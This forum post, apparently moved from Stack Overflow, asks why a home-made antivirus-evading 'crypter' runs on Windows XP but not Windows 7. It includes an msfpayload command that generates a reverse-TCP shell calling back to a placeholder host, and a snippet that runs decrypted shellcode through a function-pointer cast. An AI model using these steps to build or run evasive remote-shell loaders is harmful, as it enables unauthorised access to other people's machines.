I posted this on stackoverflow, was advised to move it to security section.
I was writing an executable crypter as an exercise with goal of Antivirus evasion, now the problem is the final executable isn't working on Windows 7. It's working flawlessly on Windows XP.
For the purposes of the test, I took metasploit's meterpreter payload, exported its shellcode, and compiled it into my executable crypter. (I won't mention the details of executable encrypter.)
These were my steps:
I got the shellcode exported into a C file
msfpayload windows/shell/reverse_tcp_dns LHOST=somewhere.com LPORT=1234 C > shell_code.c
I only took shellcode of the malware vector not the DLL which is right at top of the file, it looks like follows
unsigned char buf[] = "\xfc\x..........................";
I took this (a encrypter version)
Basically after decoding/decrypting, the shellcode is executed by casting it to a function like
(*(int(*)()) buf)();
Everything works as expected under windows XP, but fails on Windows 7.
I am clueless about the reasons, and any help will be appreciated.
NOTE: I don't have windows 7, I tested it under virtualized Windows XP (SP2)...
EDIT: if it helps, the metasploit runs on linux, the executable were compiled using express edition VS C++ 2008, the final executable runs fine on all Windows XP machines.
EDIT (1 Aug 2012) : Following @Rook advice, i tried to VirtualAlloc with PAGE_EXECUTE_READWRITE permission then Used WriteProcessMemory, still the final PE works only on windows XP (sp2) not on windows 7.
EDIT : PE seems to work right with Windows 7 (Build 7601, Service Pack 1), under WOW64